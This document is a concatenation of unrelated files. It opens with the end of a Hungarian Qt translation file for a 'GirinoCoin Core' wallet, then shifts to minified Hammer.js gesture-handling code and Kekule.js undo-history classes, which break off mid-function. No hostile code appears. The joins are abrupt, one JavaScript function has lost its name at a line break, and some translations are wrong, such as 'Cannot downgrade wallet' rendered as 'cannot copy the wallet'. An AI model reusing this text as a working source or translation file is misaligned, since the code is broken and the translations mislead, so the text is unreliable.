másolása</translation> </message> <message> <source>Copy amount</source> <translation>Összeg másolása</translation> </message> <message> <source>Copy transaction ID</source> <translation>Tranzakció ID másolása</translation> </message> <message> <source>Edit label</source> <translation>Címke szerkesztése</translation> </message> <message> <source>Show transaction details</source> <translation>Tranzakció részletei</translation> </message> <message> <source>Comma separated file (*.csv)</source> <translation>Vesszővel elválasztott adatok (*.csv)</translation> </message> <message> <source>Confirmed</source> <translation>Jóváhagyva</translation> </message> <message> <source>Watch-only</source> <translation>Csak megtekintés</translation> </message> <message> <source>Date</source> <translation>Dátum</translation> </message> <message> <source>Type</source> <translation>Típus</translation> </message> <message> <source>Label</source> <translation>Címke</translation> </message> <message> <source>Address</source> <translation>Cím</translation> </message> <message> <source>ID</source> <translation>ID</translation> </message> <message> <source>Exporting Failed</source> <translation>Sikertelen export</translation> </message> <message> <source>Exporting Successful</source> <translation>Sikeres exportálás</translation> </message> </context> <context> <name>UnitDisplayStatusBarControl</name> </context> <context> <name>WalletFrame</name> </context> <context> <name>WalletModel</name> <message> <source>Send Coins</source> <translation>Érmék küldése</translation> </message> <message> <source>Increase:</source> <translation>Növelés:</translation> </message> <message> <source>New fee:</source> <translation>Új díj:</translation> </message> </context> <context> <name>WalletView</name> <message> <source>&amp;Export</source> <translation>&amp;Export</translation> </message> <message> <source>Export the data in the current tab to a file</source> <translation>A jelenlegi fülön található adat exportálása fájlba</translation> </message> <message> <source>Backup Wallet</source> <translation>Tárca biztonsági mentése</translation> </message> <message> <source>Wallet Data (*.dat)</source> <translation>Tárca adat (*.dat)</translation> </message> <message> <source>Backup Failed</source> <translation>Biztonsági mentés sikertelen</translation> </message> <message> <source>Backup Successful</source> <translation>Biztonsági mentés sikeres</translation> </message> </context> <context> <name>bitcoin-core</name> <message> <source>Options:</source> <translation>Beállítások:</translation> </message> <message> <source>Accept command line and JSON-RPC commands</source> <translation>Parancssoros és JSON-RPC parancsok elfogadása</translation> </message> <message> <source>GirinoCoin Core</source> <translation>GirinoCoin Mag</translation> </message> <message> <source>Debugging/Testing options:</source> <translation>Hibakeresési/Tesztelési beállítások:</translation> </message> <message> <source>Do you want to rebuild the block database now?</source> <translation>Szeretnéd újra építeni a blokk adatbázist most?</translation> </message> <message> <source>Error initializing block database</source> <translation>Hiba a blokk adatbázis inicializálásakor</translation> </message> <message> <source>Error loading block database</source> <translation>Hiba a blokk adatbázis betöltésekor</translation> </message> <message> <source>Error opening block database</source> <translation>Hiba a blokk adatbázis megnyitásakor</translation> </message> <message> <source>Error: Disk space is low!</source> <translation>Hiba: Kicsi a lemezterület!</translation> </message> <message> <source>Importing...</source> <translation>Importálás...</translation> </message> <message> <source>Verifying blocks...</source> <translation>Blokkok megerősítése...</translation> </message> <message> <source>Wallet debugging/testing options:</source> <translation>Tárca hibakeresési/tesztelési beállítások:</translation> </message> <message> <source>Wallet options:</source> <translation>Tárca beállítások:</translation> </message> <message> <source>Information</source> <translation>Információ</translation> </message> <message> <source>Show all debugging options (usage: --help -help-debug)</source> <translation>Összes hibakeresési beállítás mutatása (használat: --help -help-debug)</translation> </message> <message> <source>Signing transaction failed</source> <translation>Tranzakció aláírása sikertelen</translation> </message> <message> <source>This is experimental software.</source> <translation>Ez egy fejlesztés alatt álló szoftver.</translation> </message> <message> <source>Transaction amount too small</source> <translation>A tranzakció összege túl kicsi</translation> </message> <message> <source>Transaction too large</source> <translation>A tranzakció túl nagy</translation> </message> <message> <source>Upgrade wallet to latest format on startup</source> <translation>Tárca fejlesztése a legfrissebb formátumra az indításnál</translation> </message> <message> <source>Username for JSON-RPC connections</source> <translation>Felhasználónév a JSON-RPC kapcsolódásokhoz</translation> </message> <message> <source>Verifying wallet(s)...</source> <translation>Tárca/Tárcák megerősítése</translation> </message> <message> <source>Warning</source> <translation>Figyelmeztetés</translation> </message> <message> <source>Password for JSON-RPC connections</source> <translation>Jelszó a JSON-RPC kapcsolódásokhoz</translation> </message> <message> <source>%s is set very high!</source> <translation>%s túl magasra van állítva!</translation> </message> <message> <source>Error loading wallet %s. Invalid characters in -wallet filename.</source> <translation>Hiba a tárca betöltésekor %s. Érvénytelen karakterek a tárca fájlnévben.</translation> </message> <message> <source>Listen for JSON-RPC connections on &lt;port&gt; (default: %u or testnet: %u)</source> <translation>Figyelés a JSON-RPC kapcsolatokra itt: &lt;port&gt; (alapértelmezett: %u vagy tesztnet: %u)</translation> </message> <message> <source>Starting network threads...</source> <translation>Hálózati szálak indítása...</translation> </message> <message> <source>Transaction amounts must not be negative</source> <translation>A tranzakciók összege nem lehet negatív</translation> </message> <message> <source>Transaction must have at least one recipient</source> <translation>Legalább egy címzettnek kell lennie a tranzakcióban </translation> </message> <message> <source>Insufficient funds</source> <translation>Fedezethiány</translation> </message> <message> <source>Loading block index...</source> <translation>A blokkindex betöltése ...</translation> </message> <message> <source>Loading wallet...</source> <translation>Tárca betöltése...</translation> </message> <message> <source>Cannot downgrade wallet</source> <translation>Nem lehet lemásolni a pénztárcát</translation> </message> <message> <source>Rescanning...</source> <translation>Újraszkennelés</translation> </message> <message> <source>Done loading</source> <translation>Betöltés kész</translation> </message> <message> <source>Error</source> <translation>Hiba</translation> </message> </context> </TS>
<source>&amp;Network Traffic</source>
widget.min.js
"undefined"!=typeof window&&"undefined"!=typeof document&&function(e,t,i,n){"use strict";function s(e,t,i){return setTimeout(u(e,i),t)}function r(e,t,i){return!!Array.isArray(e)&&(a(e,i[t],i),!0)}function a(e,t,i){var s;if(e)if(e.forEach)e.forEach(t,i);else if(e.length!==n)for(s=0;s<e.length;)t.call(i,e[s],s,e),s++;else for(s in e)e.hasOwnProperty(s)&&t.call(i,e[s],s,e)}function o(t,i,n){var s="DEPRECATED METHOD: "+i+"\n"+n+" AT \n";return function(){var i=new Error("get-stack-trace"),n=i&&i.stack?i.stack.replace(/^[^\(]+?[\n$]/gm,"").replace(/^\s+at\s+/gm,"").replace(/^Object.<anonymous>\s*\(/gm,"{anonymous}()@"):"Unknown Stack Trace",r=e.console&&(e.console.warn||e.console.log);return r&&r.call(e.console,s,n),t.apply(this,arguments)}}function l(e,t,i){var n,s=t.prototype;(n=e.prototype=Object.create(s)).constructor=e,n._super=s,i&&Q(n,i)}function u(e,t){return function(){return e.apply(t,arguments)}}function d(e,t){return typeof e==ie?e.apply(t&&t[0]||n,t):e}function h(e,t){return e===n?t:e}function g(e,t,i){a(f(t),function(t){e.addEventListener(t,i,!1)})}function c(e,t,i){a(f(t),function(t){e.removeEventListener(t,i,!1)})}function p(e,t){for(;e;){if(e==t)return!0;e=e.parentNode}return!1}function E(e,t){return e.indexOf(t)>-1}function f(e){return e.trim().split(/\s+/g)}function T(e,t,i){if(e.indexOf&&!i)return e.indexOf(t);for(var n=0;n<e.length;){if(i&&e[n][i]==t||!i&&e[n]===t)return n;n++}return-1}function C(e){return Array.prototype.slice.call(e,0)}function m(e,t,i){for(var n=[],s=[],r=0;r<e.length;){var a=t?e[r][t]:e[r];T(s,a)<0&&n.push(e[r]),s[r]=a,r++}return i&&(n=t?n.sort(function(e,i){return e[t]>i[t]}):n.sort()),n}function v(e,t){for(var i,s,r=t[0].toUpperCase()+t.slice(1),a=0;a<ee.length;){if((s=(i=ee[a])?i+r:t)in e)return s;a++}return n}function y(t){var i=t.ownerDocument||t;return i.defaultView||i.parentWindow||e}function S(e,t){var i=this;this.manager=e,this.callback=t,this.element=e.element,this.target=e.options.inputTarget,this.domHandler=function(t){d(e.options.enable,[e])&&i.handler(t)},this.init()}function P(e,t,i){var n=i.pointers.length,s=i.changedPointers.length,r=t&Ee&&n-s==0,a=t&(Te|Ce)&&n-s==0;i.isFirst=!!r,i.isFinal=!!a,r&&(e.session={}),i.eventType=t,function(e,t){var i=e.session,n=t.pointers,s=n.length;i.firstInput||(i.firstInput=A(t)),s>1&&!i.firstMultiple?i.firstMultiple=A(t):1===s&&(i.firstMultiple=!1);var r=i.firstInput,a=i.firstMultiple,o=a?a.center:r.center,l=t.center=D(n);t.timeStamp=re(),t.deltaTime=t.timeStamp-r.timeStamp,t.angle=k(o,l),t.distance=R(o,l),function(e,t){var i=t.center,n=e.offsetDelta||{},s=e.prevDelta||{},r=e.prevInput||{};t.eventType!==Ee&&r.eventType!==Te||(s=e.prevDelta={x:r.deltaX||0,y:r.deltaY||0},n=e.offsetDelta={x:i.x,y:i.y}),t.deltaX=s.x+(i.x-n.x),t.deltaY=s.y+(i.y-n.y)}(i,t),t.offsetDirection=I(t.deltaX,t.deltaY);var u=O(t.deltaTime,t.deltaX,t.deltaY);t.overallVelocityX=u.x,t.overallVelocityY=u.y,t.overallVelocity=se(u.x)>se(u.y)?u.x:u.y,t.scale=a?function(e,t){return R(t[0],t[1],Ie)/R(e[0],e[1],Ie)}(a.pointers,n):1,t.rotation=a?function(e,t){return k(t[1],t[0],Ie)+k(e[1],e[0],Ie)}(a.pointers,n):0,t.maxPointers=i.prevInput?t.pointers.length>i.prevInput.maxPointers?t.pointers.length:i.prevInput.maxPointers:t.pointers.length,_(i,t);var d=e.element;p(t.srcEvent.target,d)&&(d=t.srcEvent.target),t.target=d}(e,i),e.emit("hammer.input",i),e.recognize(i),e.session.prevInput=i}function _(e,t){var i,s,r,a,o=e.lastInterval||t,l=t.timeStamp-o.timeStamp;if(t.eventType!=Ce&&(l>pe||o.velocity===n)){var u=t.deltaX-o.deltaX,d=t.deltaY-o.deltaY,h=O(l,u,d);s=h.x,r=h.y,i=se(h.x)>se(h.y)?h.x:h.y,a=I(u,d),e.lastInterval=t}else i=o.velocity,s=o.velocityX,r=o.velocityY,a=o.direction;t.velocity=i,t.velocityX=s,t.velocityY=r,t.direction=a}function A(e){for(var t=[],i=0;i<e.pointers.length;)t[i]={clientX:ne(e.pointers[i].clientX),clientY:ne(e.pointers[i].clientY)},i++;return{timeStamp:re(),pointers:t,center:D(t),deltaX:e.deltaX,deltaY:e.deltaY}}function D(e){var t=e.length;if(1===t)return{x:ne(e[0].clientX),y:ne(e[0].clientY)};for(var i=0,n=0,s=0;t>s;)i+=e[s].clientX,n+=e[s].clientY,s++;return{x:ne(i/t),y:ne(n/t)}}function O(e,t,i){return{x:t/e||0,y:i/e||0}}function I(e,t){return e===t?me:se(e)>=se(t)?0>e?ve:ye:0>t?Se:Pe}function R(e,t,i){i||(i=Oe);var n=t[i[0]]-e[i[0]],s=t[i[1]]-e[i[1]];return Math.sqrt(n*n+s*s)}function
(e,t,i){i||(i=Oe);var n=t[i[0]]-e[i[0]],s=t[i[1]]-e[i[1]];return 180*Math.atan2(s,n)/Math.PI}function K(){this.evEl=ke,this.evWin=Ke,this.pressed=!1,S.apply(this,arguments)}function W(){this.evEl=Le,this.evWin=be,S.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}function N(){this.evTarget=xe,this.evWin=Me,this.started=!1,S.apply(this,arguments)}function L(){this.evTarget=Ve,this.targetIds={},S.apply(this,arguments)}function b(){S.apply(this,arguments);var e=u(this.handler,this);this.touch=new L(this.manager,e),this.mouse=new K(this.manager,e),this.primaryTouch=null,this.lastTouches=[]}function B(e){var t=e.changedPointers[0];if(t.identifier===this.primaryTouch){var i={x:t.clientX,y:t.clientY};this.lastTouches.push(i);var n=this.lastTouches;setTimeout(function(){var e=n.indexOf(i);e>-1&&n.splice(e,1)},Fe)}}function x(e,t){this.manager=e,this.set(t)}function M(e){this.options=Q({},this.defaults,e||{}),this.id=le++,this.manager=null,this.options.enable=h(this.options.enable,!0),this.state=Ze,this.simultaneous={},this.requireFail=[]}function w(e){return e&nt?"cancel":e&tt?"end":e&et?"move":e&Qe?"start":""}function V(e){return e==Pe?"down":e==Se?"up":e==ve?"left":e==ye?"right":""}function F(e,t){var i=t.manager;return i?i.get(e):e}function U(){M.apply(this,arguments)}function H(){U.apply(this,arguments),this.pX=null,this.pY=null}function G(){U.apply(this,arguments)}function z(){M.apply(this,arguments),this._timer=null,this._input=null}function j(){U.apply(this,arguments)}function X(){U.apply(this,arguments)}function Y(){M.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function $(e,t){return(t=t||{}).recognizers=h(t.recognizers,$.defaults.preset),new J(e,t)}function J(e,t){this.options=Q({},$.defaults,t||{}),this.options.inputTarget=this.options.inputTarget||e,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=e,this.input=function(e){var t=e.options.inputClass;return new(t||(de?W:he?L:ue?b:K))(e,P)}(this),this.touchAction=new x(this,this.options.touchAction),q(this,!0),a(this.options.recognizers,function(e){var t=this.add(new e[0](e[1]));e[2]&&t.recognizeWith(e[2]),e[3]&&t.requireFailure(e[3])},this)}function q(e,t){var i,n=e.element;n.style&&(a(e.options.cssProps,function(s,r){i=v(n.style,r),t?(e.oldCssProps[i]=n.style[i],n.style[i]=s):n.style[i]=e.oldCssProps[i]||""}),t||(e.oldCssProps={}))}function Z(e,i){var n=t.createEvent("Event");n.initEvent(e,!0,!0),n.gesture=i,i.target.dispatchEvent(n)}var Q,ee=["","webkit","Moz","MS","ms","o"],te=t.createElement("div"),ie="function",ne=Math.round,se=Math.abs,re=Date.now;Q="function"!=typeof Object.assign?function(e){if(e===n||null===e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),i=1;i<arguments.length;i++){var s=arguments[i];if(s!==n&&null!==s)for(var r in s)s.hasOwnProperty(r)&&(t[r]=s[r])}return t}:Object.assign;var ae=o(function(e,t,i){for(var s=Object.keys(t),r=0;r<s.length;)(!i||i&&e[s[r]]===n)&&(e[s[r]]=t[s[r]]),r++;return e},"extend","Use `assign`."),oe=o(function(e,t){return ae(e,t,!0)},"merge","Use `assign`."),le=1,ue="ontouchstart"in e,de=v(e,"PointerEvent")!==n,he=ue&&/mobile|tablet|ip(ad|hone|od)|android/i.test(navigator.userAgent),ge="touch",ce="mouse",pe=25,Ee=1,fe=2,Te=4,Ce=8,me=1,ve=2,ye=4,Se=8,Pe=16,_e=ve|ye,Ae=Se|Pe,De=_e|Ae,Oe=["x","y"],Ie=["clientX","clientY"];S.prototype={handler:function(){},init:function(){this.evEl&&g(this.element,this.evEl,this.domHandler),this.evTarget&&g(this.target,this.evTarget,this.domHandler),this.evWin&&g(y(this.element),this.evWin,this.domHandler)},destroy:function(){this.evEl&&c(this.element,this.evEl,this.domHandler),this.evTarget&&c(this.target,this.evTarget,this.domHandler),this.evWin&&c(y(this.element),this.evWin,this.domHandler)}};var Re={mousedown:Ee,mousemove:fe,mouseup:Te},ke="mousedown",Ke="mousemove mouseup";l(K,S,{handler:function(e){var t=Re[e.type];t&Ee&&0===e.button&&(this.pressed=!0),t&fe&&1!==e.which&&(t=Te),this.pressed&&(t&Te&&(this.pressed=!1),this.callback(this.manager,t,{pointers:[e],changedPointers:[e],pointerType:ce,srcEvent:e}))}});var We={pointerdown:Ee,pointermove:fe,pointerup:Te,pointercancel:Ce,pointerout:Ce},Ne={2:ge,3:"pen",4:ce,5:"kinect"},Le="pointerdown",be="pointermove pointerup pointercancel";e.MSPointerEvent&&!e.PointerEvent&&(Le="MSPointerDown",be="MSPointerMove MSPointerUp MSPointerCancel"),l(W,S,{handler:function(e){var t=this.store,i=!1,n=e.type.toLowerCase().replace("ms",""),s=We[n],r=Ne[e.pointerType]||e.pointerType,a=r==ge,o=T(t,e.pointerId,"pointerId");s&Ee&&(0===e.button||a)?0>o&&(t.push(e),o=t.length-1):s&(Te|Ce)&&(i=!0),0>o||(t[o]=e,this.callback(this.manager,s,{pointers:t,changedPointers:[e],pointerType:r,srcEvent:e}),i&&t.splice(o,1))}});var Be={touchstart:Ee,touchmove:fe,touchend:Te,touchcancel:Ce},xe="touchstart",Me="touchstart touchmove touchend touchcancel";l(N,S,{handler:function(e){var t=Be[e.type];if(t===Ee&&(this.started=!0),this.started){var i=function(e,t){var i=C(e.touches),n=C(e.changedTouches);return t&(Te|Ce)&&(i=m(i.concat(n),"identifier",!0)),[i,n]}.call(this,e,t);t&(Te|Ce)&&i[0].length-i[1].length==0&&(this.started=!1),this.callback(this.manager,t,{pointers:i[0],changedPointers:i[1],pointerType:ge,srcEvent:e})}}});var we={touchstart:Ee,touchmove:fe,touchend:Te,touchcancel:Ce},Ve="touchstart touchmove touchend touchcancel";l(L,S,{handler:function(e){var t=we[e.type],i=function(e,t){var i=C(e.touches),n=this.targetIds;if(t&(Ee|fe)&&1===i.length)return n[i[0].identifier]=!0,[i,i];var s,r,a=C(e.changedTouches),o=[],l=this.target;if(r=i.filter(function(e){return p(e.target,l)}),t===Ee)for(s=0;s<r.length;)n[r[s].identifier]=!0,s++;for(s=0;s<a.length;)n[a[s].identifier]&&o.push(a[s]),t&(Te|Ce)&&delete n[a[s].identifier],s++;return o.length?[m(r.concat(o),"identifier",!0),o]:void 0}.call(this,e,t);i&&this.callback(this.manager,t,{pointers:i[0],changedPointers:i[1],pointerType:ge,srcEvent:e})}});var Fe=2500,Ue=25;l(b,S,{handler:function(e,t,i){var n=i.pointerType==ge,s=i.pointerType==ce;if(!(s&&i.sourceCapabilities&&i.sourceCapabilities.firesTouchEvents)){if(n)(function(e,t){e&Ee?(this.primaryTouch=t.changedPointers[0].identifier,B.call(this,t)):e&(Te|Ce)&&B.call(this,t)}).call(this,t,i);else if(s&&function(e){for(var t=e.srcEvent.clientX,i=e.srcEvent.clientY,n=0;n<this.lastTouches.length;n++){var s=this.lastTouches[n],r=Math.abs(t-s.x),a=Math.abs(i-s.y);if(Ue>=r&&Ue>=a)return!0}return!1}.call(this,i))return;this.callback(e,t,i)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var He=v(te.style,"touchAction"),Ge=He!==n,ze="compute",je="auto",Xe="manipulation",Ye="none",$e="pan-x",Je="pan-y",qe=function(){if(!Ge)return!1;var t={},i=e.CSS&&e.CSS.supports;return["auto","manipulation","pan-y","pan-x","pan-x pan-y","none"].forEach(function(n){t[n]=!i||e.CSS.supports("touch-action",n)}),t}();x.prototype={set:function(e){e==ze&&(e=this.compute()),Ge&&this.manager.element.style&&qe[e]&&(this.manager.element.style[He]=e),this.actions=e.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var e=[];return a(this.manager.recognizers,function(t){d(t.options.enable,[t])&&(e=e.concat(t.getTouchAction()))}),function(e){if(E(e,Ye))return Ye;var t=E(e,$e),i=E(e,Je);return t&&i?Ye:t||i?t?$e:Je:E(e,Xe)?Xe:je}(e.join(" "))},preventDefaults:function(e){var t=e.srcEvent,i=e.offsetDirection;if(!this.manager.session.prevented){var n=this.actions,s=E(n,Ye)&&!qe[Ye],r=E(n,Je)&&!qe[Je],a=E(n,$e)&&!qe[$e];if(s){var o=1===e.pointers.length,l=e.distance<2,u=e.deltaTime<250;if(o&&l&&u)return}return a&&r?void 0:s||r&&i&_e||a&&i&Ae?this.preventSrc(t):void 0}t.preventDefault()},preventSrc:function(e){this.manager.session.prevented=!0,e.preventDefault()}};var Ze=1,Qe=2,et=4,tt=8,it=tt,nt=16;M.prototype={defaults:{},set:function(e){return Q(this.options,e),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(e){if(r(e,"recognizeWith",this))return this;var t=this.simultaneous;return t[(e=F(e,this)).id]||(t[e.id]=e,e.recognizeWith(this)),this},dropRecognizeWith:function(e){return r(e,"dropRecognizeWith",this)?this:(e=F(e,this),delete this.simultaneous[e.id],this)},requireFailure:function(e){if(r(e,"requireFailure",this))return this;var t=this.requireFail;return-1===T(t,e=F(e,this))&&(t.push(e),e.requireFailure(this)),this},dropRequireFailure:function(e){if(r(e,"dropRequireFailure",this))return this;e=F(e,this);var t=T(this.requireFail,e);return t>-1&&this.requireFail.splice(t,1),this},hasRequireFailures:function(){return this.requireFail.length>0},canRecognizeWith:function(e){return!!this.simultaneous[e.id]},emit:function(e){function t(t){i.manager.emit(t,e)}var i=this,n=this.state;tt>n&&t(i.options.event+w(n)),t(i.options.event),e.additionalEvent&&t(e.additionalEvent),n>=tt&&t(i.options.event+w(n))},tryEmit:function(e){return this.canEmit()?this.emit(e):void(this.state=32)},canEmit:function(){for(var e=0;e<this.requireFail.length;){if(!(this.requireFail[e].state&(32|Ze)))return!1;e++}return!0},recognize:function(e){var t=Q({},e);return d(this.options.enable,[this,t])?(this.state&(it|nt|32)&&(this.state=Ze),this.state=this.process(t),void(this.state&(Qe|et|tt|nt)&&this.tryEmit(t))):(this.reset(),void(this.state=32))},process:function(e){},getTouchAction:function(){},reset:function(){}},l(U,M,{defaults:{pointers:1},attrTest:function(e){var t=this.options.pointers;return 0===t||e.pointers.length===t},process:function(e){var t=this.state,i=e.eventType,n=t&(Qe|et),s=this.attrTest(e);return n&&(i&Ce||!s)?t|nt:n||s?i&Te?t|tt:t&Qe?t|et:Qe:32}}),l(H,U,{defaults:{event:"pan",threshold:10,pointers:1,direction:De},getTouchAction:function(){var e=this.options.direction,t=[];return e&_e&&t.push(Je),e&Ae&&t.push($e),t},directionTest:function(e){var t=this.options,i=!0,n=e.distance,s=e.direction,r=e.deltaX,a=e.deltaY;return s&t.direction||(t.direction&_e?(s=0===r?me:0>r?ve:ye,i=r!=this.pX,n=Math.abs(e.deltaX)):(s=0===a?me:0>a?Se:Pe,i=a!=this.pY,n=Math.abs(e.deltaY))),e.direction=s,i&&n>t.threshold&&s&t.direction},attrTest:function(e){return U.prototype.attrTest.call(this,e)&&(this.state&Qe||!(this.state&Qe)&&this.directionTest(e))},emit:function(e){this.pX=e.deltaX,this.pY=e.deltaY;var t=V(e.direction);t&&(e.additionalEvent=this.options.event+t),this._super.emit.call(this,e)}}),l(G,U,{defaults:{event:"pinch",threshold:0,pointers:2},getTouchAction:function(){return[Ye]},attrTest:function(e){return this._super.attrTest.call(this,e)&&(Math.abs(e.scale-1)>this.options.threshold||this.state&Qe)},emit:function(e){if(1!==e.scale){var t=e.scale<1?"in":"out";e.additionalEvent=this.options.event+t}this._super.emit.call(this,e)}}),l(z,M,{defaults:{event:"press",pointers:1,time:251,threshold:9},getTouchAction:function(){return[je]},process:function(e){var t=this.options,i=e.pointers.length===t.pointers,n=e.distance<t.threshold,r=e.deltaTime>t.time;if(this._input=e,!n||!i||e.eventType&(Te|Ce)&&!r)this.reset();else if(e.eventType&Ee)this.reset(),this._timer=s(function(){this.state=it,this.tryEmit()},t.time,this);else if(e.eventType&Te)return it;return 32},reset:function(){clearTimeout(this._timer)},emit:function(e){this.state===it&&(e&&e.eventType&Te?this.manager.emit(this.options.event+"up",e):(this._input.timeStamp=re(),this.manager.emit(this.options.event,this._input)))}}),l(j,U,{defaults:{event:"rotate",threshold:0,pointers:2},getTouchAction:function(){return[Ye]},attrTest:function(e){return this._super.attrTest.call(this,e)&&(Math.abs(e.rotation)>this.options.threshold||this.state&Qe)}}),l(X,U,{defaults:{event:"swipe",threshold:10,velocity:.3,direction:_e|Ae,pointers:1},getTouchAction:function(){return H.prototype.getTouchAction.call(this)},attrTest:function(e){var t,i=this.options.direction;return i&(_e|Ae)?t=e.overallVelocity:i&_e?t=e.overallVelocityX:i&Ae&&(t=e.overallVelocityY),this._super.attrTest.call(this,e)&&i&e.offsetDirection&&e.distance>this.options.threshold&&e.maxPointers==this.options.pointers&&se(t)>this.options.velocity&&e.eventType&Te},emit:function(e){var t=V(e.offsetDirection);t&&this.manager.emit(this.options.event+t,e),this.manager.emit(this.options.event,e)}}),l(Y,M,{defaults:{event:"tap",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[Xe]},process:function(e){var t=this.options,i=e.pointers.length===t.pointers,n=e.distance<t.threshold,r=e.deltaTime<t.time;if(this.reset(),e.eventType&Ee&&0===this.count)return this.failTimeout();if(n&&r&&i){if(e.eventType!=Te)return this.failTimeout();var a=!this.pTime||e.timeStamp-this.pTime<t.interval,o=!this.pCenter||R(this.pCenter,e.center)<t.posThreshold;if(this.pTime=e.timeStamp,this.pCenter=e.center,o&&a?this.count+=1:this.count=1,this._input=e,0===this.count%t.taps)return this.hasRequireFailures()?(this._timer=s(function(){this.state=it,this.tryEmit()},t.interval,this),Qe):it}return 32},failTimeout:function(){return this._timer=s(function(){this.state=32},this.options.interval,this),32},reset:function(){clearTimeout(this._timer)},emit:function(){this.state==it&&(this._input.tapCount=this.count,this.manager.emit(this.options.event,this._input))}}),$.VERSION="2.0.8",$.defaults={domEvents:!1,touchAction:ze,enable:!0,inputTarget:null,inputClass:null,preset:[[j,{enable:!1}],[G,{enable:!1},["rotate"]],[X,{direction:_e}],[H,{direction:_e},["swipe"]],[Y],[Y,{event:"doubletap",taps:2},["tap"]],[z]],cssProps:{userSelect:"none",touchSelect:"none",touchCallout:"none",contentZooming:"none",userDrag:"none",tapHighlightColor:"rgba(0,0,0,0)"}};J.prototype={set:function(e){return Q(this.options,e),e.touchAction&&this.touchAction.update(),e.inputTarget&&(this.input.destroy(),this.input.target=e.inputTarget,this.input.init()),this},stop:function(e){this.session.stopped=e?2:1},recognize:function(e){var t=this.session;if(!t.stopped){this.touchAction.preventDefaults(e);var i,n=this.recognizers,s=t.curRecognizer;(!s||s&&s.state&it)&&(s=t.curRecognizer=null);for(var r=0;r<n.length;)i=n[r],2===t.stopped||s&&i!=s&&!i.canRecognizeWith(s)?i.reset():i.recognize(e),!s&&i.state&(Qe|et|tt)&&(s=t.curRecognizer=i),r++}},get:function(e){if(e instanceof M)return e;for(var t=this.recognizers,i=0;i<t.length;i++)if(t[i].options.event==e)return t[i];return null},add:function(e){if(r(e,"add",this))return this;var t=this.get(e.options.event);return t&&this.remove(t),this.recognizers.push(e),e.manager=this,this.touchAction.update(),e},remove:function(e){if(r(e,"remove",this))return this;if(e=this.get(e)){var t=this.recognizers,i=T(t,e);-1!==i&&(t.splice(i,1),this.touchAction.update())}return this},on:function(e,t){if(e!==n&&t!==n){var i=this.handlers;return a(f(e),function(e){i[e]=i[e]||[],i[e].push(t)}),this}},off:function(e,t){if(e!==n){var i=this.handlers;return a(f(e),function(e){t?i[e]&&i[e].splice(T(i[e],t),1):delete i[e]}),this}},emit:function(e,t){this.options.domEvents&&Z(e,t);var i=this.handlers[e]&&this.handlers[e].slice();if(i&&i.length){t.type=e,t.preventDefault=function(){t.srcEvent.preventDefault()};for(var n=0;n<i.length;)i[n](t),n++}},destroy:function(){this.element&&q(this,!1),this.handlers={},this.session={},this.input.destroy(),this.element=null}},Q($,{INPUT_START:Ee,INPUT_MOVE:fe,INPUT_END:Te,INPUT_CANCEL:Ce,STATE_POSSIBLE:Ze,STATE_BEGAN:Qe,STATE_CHANGED:et,STATE_ENDED:tt,STATE_RECOGNIZED:it,STATE_CANCELLED:nt,STATE_FAILED:32,DIRECTION_NONE:me,DIRECTION_LEFT:ve,DIRECTION_RIGHT:ye,DIRECTION_UP:Se,DIRECTION_DOWN:Pe,DIRECTION_HORIZONTAL:_e,DIRECTION_VERTICAL:Ae,DIRECTION_ALL:De,Manager:J,Input:S,TouchAction:x,TouchInput:L,MouseInput:K,PointerEventInput:W,TouchMouseInput:b,SingleTouchInput:N,Recognizer:M,AttrRecognizer:U,Tap:Y,Pan:H,Swipe:X,Pinch:G,Rotate:j,Press:z,on:g,off:c,each:a,merge:oe,extend:ae,assign:Q,inherit:l,bindFn:u,prefixed:v}),(void 0!==e?e:"undefined"!=typeof self?self:{}).Hammer=$,"function"==typeof define&&define.amd?define(function(){return $}):"undefined"!=typeof module&&module.exports?module.exports=$:e.Hammer=$}(window,document),Kekule.Operation=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Operation",initialize:function(){this.tryApplySuper("initialize")},initProperties:function(){},isReversible:function(){return!0},execute:function(){return this.doExecute()},doExecute:function(){},reverse:function(){return this.isReversible()||Kekule.raise(Kekule.$L("ErrorMsg.COMMAND_NOT_REVERSIBLE")),this.doReverse()},doReverse:function(){}}),Kekule.Operation.State={UNEXECUTED:0,EXECUTED:1},Kekule.MacroOperation=Class.create(Kekule.Operation,{CLASS_NAME:"Kekule.MacroOperation",initialize:function(e){this.tryApplySuper("initialize"),this.setChildren(e||[])},initProperties:function(){this.defineProp("children",{dataType:DataType.ARRAY})},isReversible:function(){for(var e=this.getChildren(),t=0,i=e.length;t<i;++t)if(!e[t].isReversible())return!1;return!0},doExecute:function(){for(var e=this.getChildren(),t=0,i=e.length;t<i;++t)e[t].execute()},doReverse:function(){for(var e=this.getChildren(),t=e.length-1;t>=0;--t)e[t].reverse()},add:function(e){return this.getChildren().push(e)},remove:function(e){var t=this.getChildren(),i=t.indexOf(e);return i>=0?t.splice(i,1):null},getChildAt:function(e){return this.getChildren()[e]},getChildCount:function(){return this.getChildren().length}}),Kekule.OperationHistory=Class.create(ObjectEx,{CLASS_NAME:"Kekule.OperationHistory",initialize:function(e){this.tryApplySuper("initialize"),this.setCapacity(e||null)},initProperties:function(){this.defineProp("capacity",{dataType:DataType.INT}),this.defineProp("operations",{dataType:DataType.ARRAY,getter:function(){var e=this.getPropStoreFieldValue("operations");return e||(e=[],this.setPropStoreFieldValue("operations",e)),e}}),this.defineProp("currIndex",{dataType:DataType.INT,serializable:!1}),this.defineEvent("push"),this.defineEvent("pop"),this.defineEvent("undo"),this.defineEvent("redo")},checkCapacity:function(){var e=this.getCapacity();if(e&&!(e<=0))for(var t=this.getPropStoreFieldValue("operations");t&&t.length>e;)t.shift(),this.getCurrIndex()>0&&this.setCurrIndex(this.getCurrIndex()-1)},getOperationCount:function(){return this.getOperations().length},getOperationAt:function(e){return this.getOperations()[e]},getCurrOperation:function(){var e=this.getCurrIndex();return e>=0?this.getOperations()[e]:null},clear:function(){this.setOperations([]),this.setCurrIndex(-1),this.invokeEvent("clear",{currOperIndex:this.getCurrIndex()}),this.invokeEvent("operChange")},push:function(e){var 